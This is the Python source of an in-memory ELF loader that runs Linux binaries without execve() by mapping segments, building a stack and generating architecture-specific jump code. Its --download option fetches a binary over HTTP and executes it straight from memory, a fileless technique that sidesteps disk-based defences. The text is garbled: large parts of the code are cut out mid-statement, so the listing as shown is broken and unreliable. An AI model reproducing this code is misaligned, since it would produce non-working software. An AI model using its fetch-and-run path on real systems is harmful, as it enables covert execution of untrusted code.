c_long, c_size_t, c_uint, 111 | c_ulong, c_void_p, memmove, sizeof) 112 | from ctypes.util import find_library 113 | 114 | __version__ = "1.5" 115 | 116 | libc = ctypes.CDLL(find_library('c'), use_errno=True) 117 | 118 | PAGE_SIZE = ctypes.pythonapi.getpagesize() 119 | 120 | 121 | def PAGE_FLOOR(addr): 122 | return (addr) & (-PAGE_SIZE) 123 | 124 | 125 | def PAGE_CEIL(addr): 126 | return (PAGE_FLOOR((addr) + PAGE_SIZE - 1)) 127 | 128 | 129 | def _emulate_getauxval(ltype): 130 | with open("/proc/self/auxv", "rb") as fd: 131 | data = fd.read() 132 | 133 | isize = sizeof(c_size_t) 134 | fmt = "QQ" if isize == 8 else "LL" 135 | data = [data[x: x + (isize << 1)] for x in range(0, len(data), (isize << 1))] 136 | for d in data: 137 | key, val = struct.unpack("<%s" % fmt, d) 138 | if key == ltype: 139 | return val 140 | return 0x0 141 | 142 | 143 | # Need to use this wrapper as there are no good backwards compatible options 144 | # that yield a seekable byte stream for both major Python versions 145 | def _readbytes_from_stdin(): 146 | if sys.version_info.major == 2: 147 | import StringIO 148 | sio = StringIO.StringIO() 149 | sio.write(sys.stdin.read()) 150 | sio.seek(0) 151 | return sio 152 | elif sys.version_info.major == 3: 153 | import io 154 | bio = io.BytesIO() 155 | bio.write(sys.stdin.buffer.read()) 156 | bio.seek(0) 157 | return bio 158 | else: 159 | raise Exception("unexpected Python version found") 160 | 161 | 162 | def _readbytes_from_url(url): 163 | if sys.version_info.major == 2: 164 | import StringIO 165 | import urllib 166 | sio = StringIO.StringIO() 167 | try: 168 | urlfd = urllib.urlopen(url) 169 | except Exception as e: 170 | raise Exception("couldn't download from url: %s" % e) 171 | sio.write(urlfd.read()) 172 | sio.seek(0) 173 | return sio 174 | elif sys.version_info.major == 3: 175 | import io 176 | import urllib.request 177 | bio = io.BytesIO() 178 | try: 179 | urlfd = urllib.request.urlopen(url) 180 | except Exception as e: 181 | raise Exception("couldn't download from url: %s" % e) 182 | bio.write(urlfd.read()) 183 | bio.seek(0) 184 | return bio 185 | else: 186 | raise Exception("unexpected Python version found") 187 | 188 | 189 | # If we run on glibc older than 2.16 we would not have getauxval(), we could 190 | # then try to emulate it by reading from /proc//auxv. That glibc version 191 | # was released in late 2012 though but let's try and support older or different 192 | # libcs anyway. 193 | try: 194 | getauxval = libc.getauxval 195 | getauxval.argtypes = [c_ulong] 196 | getauxval.restype = c_ulong 197 | except AttributeError: 198 | getauxval = _emulate_getauxval 199 | 200 | mmap = libc.mmap 201 | mmap.argtypes = [c_void_p, c_size_t, c_int, c_int, c_int, c_size_t] 202 | mmap.restype = c_void_p 203 | 204 | mprotect = libc.mprotect 205 | mprotect.argtypes = [c_void_p, c_size_t, c_int] 206 | mprotect.restype = c_int 207 | 208 | PROT_READ = 0x01 209 | PROT_WRITE = 0x02 210 | PROT_EXEC = 0x04 211 | MAP_PRIVATE = 0X02 212 | MAP_ANONYMOUS = 0x20 213 | MAP_GROWSDOWN = 0x0100 214 | MAP_FIXED = 0x10 215 | 216 | PT_LOAD = 0x1 217 | PT_INTERP = 0x3 218 | EM_X86_64 = 0x3e 219 | EM_386 = 0x3 220 | EM_AARCH64 = 0xb7 221 | 222 | 223 | def display_jumpbuf(machine, buf): 224 | 225 | machines = {EM_386: "i386", EM_X86_64: "i386:x86-64", EM_AARCH64: "aarch64"} 226 | assert(machine in machines) 227 | 228 | with tempfile.NamedTemporaryFile(suffix=".jumpbuf.bin", mode="wb") as tmp: 229 | tmp.write(buf) 230 | tmp.seek(0) 231 | logging.debug("Written jumpbuf to %s (#%u bytes)" % (tmp.name, len(buf))) 232 | # To disassemble run the following command with temp filename appended to it 233 | cmd = "objdump -m %s -b binary -D %s" % (machines[machine], tmp.name) 234 | logging.debug("Executing: %s" % cmd) 235 | try: 236 | output = subprocess.check_output(cmd.split(" ")) 237 | except OSError: 238 | logging.error("Error while trying to disassemble: objdump not found in $PATH") 239 | sys.exit(1) 240 | 241 | logging.info(output.decode("utf-8", errors="ignore")) 242 | 243 | 244 | def prepare_jumpbuf(buf): 245 | dst = mmap(0, PAGE_CEIL(len(buf)), PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) 246 | src = ctypes.create_string_buffer(buf) 247 | logging.debug("Memmove(0x%.8x, 0x%.8x, 0x%.8x)" % (dst, ctypes.addressof(src), len(buf))) 248 | memmove(dst, src, len(buf)) 249 | ret = mprotect(PAGE_FLOOR(dst), PAGE_CEIL(len(buf)), PROT_READ | PROT_EXEC) 250 | if ret == -1: 251 | logging.error("Calling mprotect() on jumpbuffer failed") 252 | 253 | return ctypes.cast(dst, ctypes.CFUNCTYPE(c_void_p)) 254 | 255 | 256 | class ELFParsingError(Exception): 257 | pass 258 | 259 | 260 | class ELFParser: 261 | 262 | ET_EXEC = 0x2 263 | ET_DYN = 0x3 264 | 265 | def __init__(self, stream): 266 | self.stream = stream 267 | self.ph_entries = [] 268 | self.interp = None 269 | self.is_pie = None 270 | self.parse() 271 | 272 | def log(self, logline): 273 | logging.debug("%s" % (logline)) 274 | 275 | def unpack(self, fmt): 276 | sz = struct.calcsize(fmt) 277 | buf = self.stream.read(sz) 278 | return (struct.unpack("%c%s" % ("<" if self.is_little_endian else ">", fmt), buf), buf) 279 | 280 | def unpack_ehdr(self): 281 | fmt = "HHIIIIIHHHHHH" if self.is_32bit else "HHIQQQIHHHHHH" 282 | return self.unpack(fmt) 283 | 284 | def unpack_phdr(self): 285 | # Unpack as the order of the values is different for 32-bit or 64-bit 286 | # program headers so we can return the values in a consistent order 287 | if self.is_32bit: 288 | fmt = "IIIIIIII" 289 | values, buf = self.unpack(fmt) 290 | p_type, p_offset, p_vaddr, p_paddr, p_filesz, p_memsz, p_flags, p_align = values 291 | else: 292 | fmt = "IIQQQQQQ" 293 | values, buf = self.unpack(fmt) 294 | p_type, p_flags, p_offset, p_vaddr, p_paddr, p_filesz, p_memsz, p_align = values 295 | return ((p_type, p_flags, p_offset, p_vaddr, p_paddr, p_filesz, p_memsz, p_align), buf) 296 | 297 | def parse(self): 298 | self.parse_head() 299 | self.parse_ehdr() 300 | self.parse_pentries() 301 | 302 | def parse_head(self): 303 | self.stream.seek(0) 304 | magic = self.stream.read(4) 305 | if magic != b"\x7fELF": 306 | raise ELFParsingError("Not an ELF file") 307 | 308 | bittype = self.stream.read(1) 309 | if bittype not in (b"\x01", b"\x02"): 310 | raise ELFParsingError("Unknown EI class specified") 311 | 312 | self.is_32bit = True if bittype == b"\x01" else False 313 | 314 | b = self.stream.read(1) 315 | if b == b"\x01": 316 | self.is_little_endian = True 317 | elif b == b"\x02": 318 | self.is_little_endian = False 319 | else: 320 | raise ELFParsingError("Unknown endiannes specified") 321 | 322 | self.log("Parsed ELF header successfully") 323 | 324 | def parse_ehdr(self): 325 | self.stream.seek(16) 326 | values, buf = self.unpack_ehdr() 327 | self.e_type, self.e_machine, self.e_version, self.e_entry, \ 328 | self.e_phoff, self.e_shoff, self.e_flags, self.e_ehsize, self.e_phentsize, \ 329 | self.e_phnum, self.e_shentsize, self.e_shnum, self.e_shstrndx = values 330 | self.ehdr = buf 331 | 332 | if self.e_type != ELFParser.ET_EXEC and self.e_type != ELFParser.ET_DYN: 333 | raise ELFParsingError("ELF is not an executable or shared object file") 334 | 335 | if self.e_phnum == 0: 336 | raise ELFParsingError("No program headers found in ELF") 337 | 338 | if self.e_machine not in (EM_X86_64, EM_386, EM_AARCH64): 339 | raise ELFParsingError("ELF machine type is not supported") 340 | 341 | def parse_pentries(self): 342 | self.stream.seek(self.e_phoff) 343 | for _ in range(self.e_phnum): 344 | self.parse_pentry() 345 | 346 | def parse_pentry(self): 347 | values, _ = self.unpack_phdr() 348 | p_type, p_flags, p_offset, p_vaddr, p_paddr, p_filesz, p_memsz, \ 349 | p_align = values 350 | 351 | if p_type not in (PT_LOAD, PT_INTERP): 352 | return 353 | 354 | off = self.stream.tell() 355 | self.stream.seek(p_offset) 356 | 357 | if p_type == PT_LOAD: 358 | self.log("PT_LOAD at offset 0x%.8x: flags=0x%.x, vaddr=0x%.x, filesz=0x%.x, memsz=0x%.x" % (p_offset, p_flags, p_vaddr, p_filesz, p_memsz)) 359 | 360 | # if p_align is 0 or 1 no alignment is necessary 361 | needs_alignment = p_align not in (0x0, 0x1) 362 | if needs_alignment: 363 | # this is a sanity check more than anything 364 | if p_vaddr % p_align != p_offset % p_align: 365 | raise ELFParsingError("Sanity check failed as p_vaddr should equal p_offset, modulo p_align") 366 | else: 367 | raise ELFParsingError("Non-alignment specified by p_align is not supported") 368 | 369 | # read program header data which should be p_filesz long 370 | buf = self.stream.read(p_filesz) 371 | if len(buf) != p_filesz: 372 | raise ELFParsingError("Read less than expected p_filesz bytes") 373 | 374 | # first PT_LOAD section we use to identifie PIE status 375 | if len(self.ph_entries) == 0: 376 | if p_vaddr != 0x0: 377 | self.log("Identified as a non-PIE executable") 378 | self.is_pie = False 379 | else: 380 | self.log("Identified as a PIE executable") 381 | self.is_pie = True 382 | 383 | # store extracted program header data 384 | data = ctypes.create_string_buffer(buf) 385 | pentry = {"flags": p_flags, "memsz": p_memsz, "vaddr": p_vaddr, "filesz": p_filesz, "offset": p_offset, "data": data} 386 | self.ph_entries.append(pentry) 387 | 388 | elif p_type == PT_INTERP: 389 | # strip off the last byte as that is a 0-byte and it will cause 390 | # pathname encoding problems later otherwise 391 | self.interp = self.stream.read(p_filesz) 392 | self.interp = self.interp[:-1] 393 | 394 | self.log("PT_INTERP at offset 0x%.x: interpreter set as %s" % (p_offset, self.interp.decode("utf-8", errors="ignore"))) 395 | 396 | self.stream.seek(off) 397 | 398 | def map_size(self): 399 | sz = 0 400 | for entry in self.ph_entries: 401 | vaddr, memsz = entry["vaddr"], entry["memsz"] 402 | sz = vaddr + memsz if (vaddr + memsz) > sz else sz 403 | if not self.is_pie: 404 | assert(len(self.ph_entries) > 0) 405 | adjust = self.ph_entries[0]["vaddr"] 406 | self.log("Not a PIE binary so adjusting size down with 0x%.8x" % adjust) 407 | sz -= adjust 408 | self.log("Total calculated map size for executable is: 0x%.8x" % sz) 409 | return sz 410 | 411 | 412 | class Stack: 413 | 414 | # Taken from /usr/include/x86_64-linux-gnu/bits/auxv.h 415 | AT_NULL = 0 416 | AT_PHDR = 3 417 | AT_PHENT = 4 418 | AT_PHNUM = 5 419 | AT_PAGESZ = 6 420 | AT_BASE = 7 421 | AT_ENTRY = 9 422 | AT_UID = 11 423 | AT_EUID = 12 424 | AT_GID = 13 425 | AT_EGID = 14 426 | AT_PLATFORM = 15 427 | AT_HWCAP = 16 428 | AT_CLKTCK = 17 429 | AT_SECURE = 23 430 | AT_RANDOM = 25 431 | AT_HWCAP2 = 26 432 | AT_EXECFN = 31 433 | AT_SYSINFO = 32 434 | AT_SYSINFO_EHDR = 33 435 | AT_MINSIGSTKSZ = 51 # stack needed for signal delivery (AArch64) 436 | 437 | # Offsets so that we can fixup the auxv header values later on from the jumpcode 438 | # The users of these offset need to multiple them by the size of c_size_t for the 439 | # platform they're used 440 | OFFSET_AT_BASE = 1 441 | OFFSET_AT_PHDR = 3 442 | OFFSET_AT_ENTRY = 5 443 | 444 | def __init__(self, num_pages, is_32bit=False): 445 | self.size = num_pages * PAGE_SIZE 446 | self.base = mmap(0, self.size, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, -1, 0) 447 | ctypes.memset(self.base, 0, self.size) 448 | 449 | # stack grows down so start of stack needs to be adjusted 450 | self.base += (self.size - PAGE_SIZE) 451 | self.stack = (ctypes.c_size_t * PAGE_SIZE).from_address(self.base) 452 | logging.debug("Stack allocated at: 0x%.8x" % (self.base)) 453 | self.refs = [] 454 | 455 | self.auxv_start = 0 456 | self.is_32bit = is_32bit 457 | 458 | def add_ref(self, obj): 459 | # we simply add the object to the list so that the garbage collector 460 | # cannot throw havoc on us here; this way the ctypes object will stay 461 | # in memory properly as there will be a reference to it 462 | self.refs.append(obj) 463 | 464 | def setup(self, argv, envp, exe, show_stack=False): 465 | assert(len(self.refs) == 0) 466 | stack = self.stack 467 | # argv starts with amount of args and is ultimately NULL terminated 468 | stack[0] = c_size_t(len(argv)) 469 | i = 1 470 | for arg in argv: 471 | enc = arg.encode("utf-8", errors="ignore") 472 | buf = ctypes.create_string_buffer(enc) 473 | self.add_ref(buf) 474 | stack[i] = ctypes.addressof(buf) 475 | i = i + 1 476 | stack[i + 1] = c_size_t(0) 477 | env_off = i + 1 478 | 479 | # envp does not have a preceding count and is ultimately NULL terminated 480 | i = 0 481 | for env in envp: 482 | enc = env.encode("utf-8", errors="ignore") 483 | buf = ctypes.create_string_buffer(enc) 484 | self.add_ref(buf) 485 | stack[i + env_off] = ctypes.addressof(buf) 486 | i = i + 1 487 | stack[i + env_off] = c_size_t(0) 488 | i = i + 1 489 | 490 | aux_off = i + env_off 491 | self.auxv_start = aux_off << (2 if self.is_32bit else 3) 492 | 493 | end_off = self.setup_auxv(aux_off, exe) 494 | 495 | self.setup_debug(env_off, aux_off, end_off, show_stack) 496 | 497 | def setup_auxv(self, off, exe): 498 | auxv_ptr = self.base + off 499 | 500 | at_sysinfo_ehdr = getauxval(Stack.AT_SYSINFO_EHDR) 501 | at_sysinfo = getauxval(Stack.AT_SYSINFO) 502 | logging.debug("vDSO loaded at 0x%.8x (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x%.8x" % (at_sysinfo_ehdr, at_sysinfo)) 503 | 504 | at_clktck = getauxval(Stack.AT_CLKTCK) 505 | at_hwcap = getauxval(Stack.AT_HWCAP) 506 | at_hwcap2 = getauxval(Stack.AT_HWCAP2) 507 | logging.debug("Auxv entries: HWCAP=0x%.8x, HWCAP2=0x%.8x, AT_CLKTCK=0x%.8x" % 508 | (at_hwcap, at_hwcap2, at_clktck)) 509 | 510 | platform_str = ctypes.create_string_buffer(b"x86_64") 511 | self.add_ref(platform_str) 512 | at_platform = ctypes.addressof(platform_str) 513 | 514 | # the first reference is argv[0] which is the pathname used to execute the binary 515 | at_execfn = ctypes.addressof(self.refs[0]) 516 | 517 | # AT_BASE, AT_PHDR, AT_ENTRY will be fixed up later by the jumpcode as 518 | # at this point in time we don't know yet where everything will be 519 | # loaded in memory. Please note that they should remain at their 520 | # current positions in the auxv vector or else the offsets used when 521 | # fixing up auxv in the jumpcode need to be changed as well. The 522 | # offsets are defined in OFFSET_AT_BASE, OFFSET_AT_PHDR and 523 | # OFFSET_AT_ENTRY respectively. 524 | # 525 | # We could use collections.OrderedDirect() but that means we would only 526 | # be able to support Python 2.7. This is also meant to be able to be 527 | # used on older very out-of-date CPython installations so we just use a 528 | # list with 2-tuples so we remain ordered. Ordering also needs to be 529 | # preserved as it seems some versions of ld seem to expect that lest we 530 | # get a failed assertion `GL(dl_rtld_map).l_libname' failed from the 531 | # linker when using Python 2.7. 532 | auxv = [] 533 | auxv.append((Stack.AT_BASE, 0x0)) 534 | auxv.append((Stack.AT_PHDR, 0x0)) 535 | auxv.append((Stack.AT_ENTRY, 0x0)) 536 | auxv.append((Stack.AT_PHNUM, exe.e_phnum)) 537 | auxv.append((Stack.AT_PHENT, exe.e_phentsize)) 538 | auxv.append((Stack.AT_PAGESZ, PAGE_SIZE)) 539 | auxv.append((Stack.AT_SECURE, 0)) 540 | auxv.append((Stack.AT_RANDOM, auxv_ptr)) # XXX now just points to start of auxv 541 | auxv.append((Stack.AT_SYSINFO, at_sysinfo)) 542 | auxv.append((Stack.AT_SYSINFO_EHDR, at_sysinfo_ehdr)) 543 | auxv.append((Stack.AT_PLATFORM, at_platform)) 544 | auxv.append((Stack.AT_EXECFN, at_execfn)) 545 | auxv.append((Stack.AT_UID, os.getuid())) 546 | auxv.append((Stack.AT_EUID, os.geteuid())) 547 | auxv.append((Stack.AT_GID, os.getgid())) 548 | auxv.append((Stack.AT_EGID, os.getegid())) 549 | 550 | if at_clktck != 0: 551 | auxv.append((Stack.AT_CLKTCK, at_clktck)) 552 | if at_hwcap != 0: 553 | auxv.append((Stack.AT_HWCAP, at_hwcap)) 554 | if at_hwcap2 != 0: 555 | auxv.append((Stack.AT_HWCAP2, at_hwcap2)) 556 | 557 | # always end with this 558 | auxv.append((Stack.AT_NULL, 0)) 559 | 560 | stack = self.stack 561 | for at_type, at_val in auxv: 562 | stack[off] = at_type 563 | stack[off + 1] = at_val 564 | off = off + 2 565 | off = off - 1 566 | return off 567 | 568 | def setup_debug(self, env_off, aux_off, end, show_stack=False): 569 | # stack is shown if user explicitly asks for it or if we are in 570 | # debugging mode 571 | if not show_stack: 572 | return 573 | log = logging.info 574 | stack = self.stack 575 | log("stack contents:") 576 | log(" argv") 577 | 578 | # create dict with AT_ flags for nicer display of auxv entries below 579 | at_names = {} 580 | for name in [x for x in dir(Stack) if x.startswith("AT_")]: 581 | at_names[getattr(Stack, name)] = name 582 | 583 | for i in range(0, end + 1): 584 | if i == env_off: 585 | log(" envp") 586 | elif i >= aux_off: 587 | if i == aux_off: 588 | log(" auxv") 589 | if (i - aux_off) % 2 == 1: 590 | val = stack[i - 1] 591 | name = at_names[val] 592 | if self.is_32bit: 593 | log(" %.8x: 0x%.8x 0x%.8x (%s)" % ((i - 1) * 4, val, stack[i], name)) 594 | else: 595 | log(" %.8x: 0x%.16x 0x%.16x (%s)" % ((i - 1) * 8, val, stack[i], name)) 596 | else: 597 | if self.is_32bit: 598 | log(" %.8x: 0x%.8x" % (i * 4, stack[i])) 599 | else: 600 | log(" %.8x: 0x%.16x" % (i * 8, stack[i])) 601 | 602 | 603 | class CodeGenerator: 604 | def __init__(self, exe, interp=None): 605 | if interp: 606 | assert(exe.e_machine == interp.e_machine) 607 | self.exe = exe 608 | self.interp = interp 609 | 610 | @staticmethod 611 | def get_code_generator(exe, interp=None): 612 | machines = {EM_386: CodeGenX86, EM_X86_64: CodeGenX86_64, EM_AARCH64: CodeGenAarch64} 613 | keys = machines.keys() 614 | assert(exe.e_machine in keys) 615 | if interp: 616 | assert(interp.e_machine in keys) 617 | assert(exe.e_machine == interp.e_machine) 618 | return machines[exe.e_machine](exe, interp) 619 | 620 | def log(self, logline): 621 | logging.debug("%s" % (logline)) 622 | 623 | def generate_elf_loader(self, elf): 624 | PF_R = 0x4 625 | PF_W = 0x2 626 | PF_X = 0x1 627 | 628 | ret = [] 629 | 630 | # munmap and then generate the mmap call so we have space to write to 631 | addr = 0x0 if elf.is_pie else elf.ph_entries[0]["vaddr"] 632 | map_sz = elf.map_size() 633 | prot = PROT_WRITE | PROT_EXEC | PROT_READ 634 | flags = MAP_ANONYMOUS | MAP_PRIVATE 635 | 636 | # align values properly 637 | addr = PAGE_FLOOR(addr) 638 | map_sz = PAGE_CEIL(map_sz) 639 | 640 | # generate munmap() and mmap() calls 641 | code = self.munmap(addr, map_sz) 642 | ret.append(code) 643 | code = self.mmap(addr, map_sz, prot, flags) 644 | ret.append(code) 645 | 646 | # loop over the program header entries, generate the copy code as well 647 | # as the mprotect() call to set the page protection flags correctly 648 | for e in elf.ph_entries: 649 | src = ctypes.addressof(e["data"]) 650 | sz, vaddr, flags = e["filesz"], e["vaddr"], e["flags"] 651 | 652 | if not elf.is_pie: 653 | vaddr -= elf.ph_entries[0]["vaddr"] 654 | 655 | code = self.memcpy_from_offset(vaddr, src, sz) 656 | ret.append(code) 657 | 658 | prot = PROT_READ if (flags & PF_R) != 0 else 0 659 | prot |= (PROT_WRITE if (flags & PF_W) != 0 else 0) 660 | prot |= (PROT_EXEC if (flags & PF_X) != 0 else 0) 661 | 662 | # TODO: implement mprotect() call to properly setup protection 663 | # flags again for memory segments; right now this is not used 664 | # nor implemented at all 665 | # code = self.mprotect(dst, PAGE_CEIL(memsz), prot) 666 | # ret.append(code) 667 | 668 | return b"".join(ret) 669 | 670 | def generate(self, stack, jump_delay=None): 671 | # generate jump buffer with the CPU instructions which copy all 672 | # segments to the right locations in memory, set the correct protection 673 | # flags on those memory segments and then prepare for the actual jump 674 | # into hail mary land. 675 | 676 | # generate ELF loading code for the executable as well as the 677 | # interpreter if necessary 678 | ret = [] 679 | code = self.generate_elf_loader(self.exe) 680 | ret.append(code) 681 | 682 | # fix up the auxv vector with the proper relative addresses too 683 | code = self.generate_auxv_fixup(stack, Stack.OFFSET_AT_PHDR, self.exe.e_phoff) 684 | ret.append(code) 685 | 686 | # fix up the auxv vector with the proper relative addresses too 687 | code = self.generate_auxv_fixup(stack, Stack.OFFSET_AT_ENTRY, self.exe.e_entry, self.exe.is_pie) 688 | ret.append(code) 689 | 690 | if self.interp: 691 | code = self.generate_elf_loader(self.interp) 692 | ret.append(code) 693 | code = self.generate_auxv_fixup(stack, Stack.OFFSET_AT_BASE, 0) 694 | ret.append(code) 695 | entry_point = self.interp.e_entry 696 | else: 697 | entry_point = self.exe.e_entry 698 | if not self.exe.is_pie: 699 | entry_point -= self.exe.ph_entries[0]["vaddr"] 700 | 701 | self.log("Generating jumpcode with entry_point=0x%.8x and stack=0x%.8x" % (entry_point, stack.base)) 702 | 703 | code = self.generate_jumpcode(stack.base, entry_point, jump_delay) 704 | ret.append(code) 705 | 706 | return b"".join(ret) 707 | 708 | def mprotect(self, addr, length, prot): 709 | raise NotImplementedError 710 | 711 | def munmap(self, addr, length): 712 | raise NotImplementedError 713 | 714 | def memcpy_from_offset(self, off, src, sz): 715 | raise NotImplementedError 716 | 717 | def mmap(self, addr, length, prot, flags, fd=0xffffffff, offset=0): 718 | raise NotImplementedError 719 | 720 | def generate_auxv_fixup(self, stack, auxv_offset, map_offset, relative=True): 721 | raise NotImplementedError 722 | 723 | def generate_jumpcode(self, stack_ptr, entry_ptr, jump_delay=False): 724 | raise NotImplementedError 725 | 726 | 727 | class CodeGenAarch64(CodeGenerator): 728 | 729 | def mov_enc(self, reg, value): 730 | # this just generates the binary representation for mov commands by 731 | # splitting up the mov in 4 move instructions if the value is large 732 | # enough; register 0 is just x0, register 2 is x2 and so forth. I know 733 | # it's hella dirty but hey it gets the job done. 734 | ret = [] 735 | 736 | def get_bin(x, n): 737 | return format(x, 'b').zfill(n) 738 | 739 | preamble = ["11010010100", "11110010101", "11110010110", "11110010111"] 740 | for p in preamble: 741 | buf = [] 742 | buf.append(p) 743 | buf.append(get_bin(value & 0xffff, 16)) 744 | buf.append(get_bin(reg, 5)) 745 | ret.append("".join(buf)) 746 | value >>= 16 747 | if value == 0: 748 | break 749 | return b"".join([struct.pack(": 774 | eb01007f cmp x3, x1 775 | 540000c3 b.cc 228 // b.hs, b.nlast 776 | f9400004 ldr x4, [x0] 777 | f9000024 str x4, [x1] 778 | 91002000 add x0, x0, #0x8 779 | 91002021 add x1, x1, #0x8 780 | 17fffffa b 20c 781 | """ 782 | insts = [0x8b100021, 0x8b020023, 0xeb01007f, 0x540000c3, 0xf9400004, 783 | 0xf9000024, 0x91002000, 0x91002021, 0x17fffffa] 784 | buf = [ 785 | self.mov_enc(1, off), 786 | self.mov_enc(0, src), 787 | self.mov_enc(2, sz) 788 | ] 789 | for inst in insts: 790 | buf.append(struct.pack(" 300: 1309 | logging.error("jump delay cannot be bigger than 300") 1310 | sys.exit(1) 1311 | 1312 | if ns.tmpdir: 1313 | if not os.path.exists(ns.tmpdir): 1314 | logging.error("--tmpdir %s does not exist" % ns.tmpdir) 1315 | sys.exit(1) 1316 | 1317 | # sanity check where we are being run 1318 | if os.name != "posix" or os.uname()[0].lower() != "linux": 1319 | logging.error("this only works on Linux-based operating systems") 1320 | sys.exit(1) 1321 | 1322 | binary = ns.command[0] 1323 | args = ns.command[1:] 1324 | 1325 | if ns.download: 1326 | if not binary.startswith("http://") and not binary.startswith("https://"): 1327 | logging.error("only http/https URIs allowed") 1328 | sys.exit(1) 1329 | binfd = _readbytes_from_url(binary) 1330 | else: 1331 | if binary == "-": 1332 | binfd = _readbytes_from_stdin() 1333 | binary = "" 1334 | else: 1335 | binfd = open(binary, "rb") 1336 | 1337 | if ns.pyi_fallback: 1338 | # PyInstaller has an embedded archive that it tries to resolve by 1339 | # opening up /proc/self/exe which is something we cannot fake unless 1340 | # we have CAP_SYS_RESOURCE and teh ability to call prctl() with 1341 | # PR_SET_MM_EXE_FILE so we can make it point to the original binary 1342 | # instead of the Python interpreter. 1343 | # 1344 | # However we can attempt to replace any occurence of the string 1345 | # /proc/self/exe and point to a path we control. This does require us 1346 | # to have a place where we can write on the filesystem. So /tmp is a 1347 | # good choice by default. We check if we can create a file within the 1348 | # directory specified tmpdir. The resulting path should be as long as 1349 | # /proc/self/exe so that we can blindly do a string replace in the 1350 | # PyInstaller compiled binary. 1351 | # 1352 | # If we replace /proc/self/exe with a longer string we would cause 1353 | # SIGSEGVs all over the place or we would be forced to rewrite the ELF 1354 | # structure and the instructions partially which is a massive amount of 1355 | # work and definitely not worth it. The following approach is rather 1356 | # braindead but on systems where there is a short path that we can 1357 | # write to this trick will work just fine. 1358 | 1359 | # strip all trailing / so we have a clean path 1360 | ns.tmpdir = ns.tmpdir.rstrip("/") 1361 | if len(ns.tmpdir) == 0: 1362 | ns.tmpdir = "/" 1363 | 1364 | # check path length and if we have enough space to create a symlink 1365 | pse = "/proc/self/exe" 1366 | lpse = len(pse) 1367 | if len(ns.tmpdir) > lpse - 2: 1368 | logging.error("temp path cannot be too long") 1369 | sys.exit(1) 1370 | 1371 | # generate random string for the parts of the path we control 1372 | cnt = lpse - len(ns.tmpdir) - 1 1373 | rstr = "".join((random.choice(string.ascii_letters + string.digits) for _ in range(cnt))) 1374 | path = os.path.join(ns.tmpdir, rstr) 1375 | 1376 | logging.debug("Symlink location set to %s" % path) 1377 | 1378 | data = binfd.read() 1379 | 1380 | # To be sure check if it even looks like a PyInstaller binary and see 1381 | # if we can find the MAGIC value that PyInstaller uses. 1382 | magic = b"MEI\014\013\012\013\016" 1383 | if data.find(magic) == -1: 1384 | logging.error("This binary does not look like a PyInstaller generated binary") 1385 | sys.exit(1) 1386 | 1387 | # Find string (to make sure it is there) and replace all occurrences 1388 | pse = pse.encode("utf-8") 1389 | if data.find(pse) == -1: 1390 | logging.error("No %s string found" % pse) 1391 | sys.exit(1) 1392 | data = data.replace(pse, path.encode("utf-8")) 1393 | 1394 | # create a file decriptor in memory, write the changed binary to it 1395 | memfd_create = MemFdExecutor._get_memfd_create_fn() 1396 | fd = memfd_create(b"", 0x1) 1397 | sz = len(data) 1398 | if fd == -1: 1399 | logging.error("memfd_create() failed so cannot do pyi fallback method") 1400 | sys.exit(1) 1401 | ret = libc.write(fd, data, sz) 1402 | if ret != sz: 1403 | logging.error("Failed to write all data to memfd so bailing out") 1404 | sys.exit(1) 1405 | 1406 | # link open /proc//fd/ to the random path we constructed above 1407 | try: 1408 | os.symlink("/proc/%i/fd/%i" % (os.getpid(), fd), path) 1409 | except OSError: 1410 | logging.error("Failed to create symlink. No write permissions maybe?") 1411 | sys.exit(1) 1412 | 1413 | binfd = os.fdopen(fd, "rb") 1414 | binary = path 1415 | 1416 | # Fork and wait for child process to finish so we can cleane up and 1417 | # remove the symlink after we are done. We don't need to clean up the 1418 | # modified binary whatsoever as that one only lives in memory within 1419 | # the parent process. 1420 | pid = os.fork() 1421 | if pid == -1: 1422 | logging.error("Could not fork for watchdog process") 1423 | sys.exit(1) 1424 | elif pid != 0: 1425 | os.waitpid(pid, 0) 1426 | logging.debug("Process done executing: unlinking temp bin from %s" % binary) 1427 | os.unlink(binary) 1428 | sys.exit(0) 1429 | 1430 | if ns.fallback: 1431 | executor = MemFdExecutor(binfd, binary) 1432 | else: 1433 | executor = ELFExecutor(binfd, binary) 1434 | 1435 | binfd.close() 1436 | executor.execute(args, ns.show_jumpbuf, ns.show_stack, ns.jump_delay) 1437 | 1438 | 1439 | if __name__ == "__main__": 1440 | main() 1441 | --------------------------------------------------------------------------------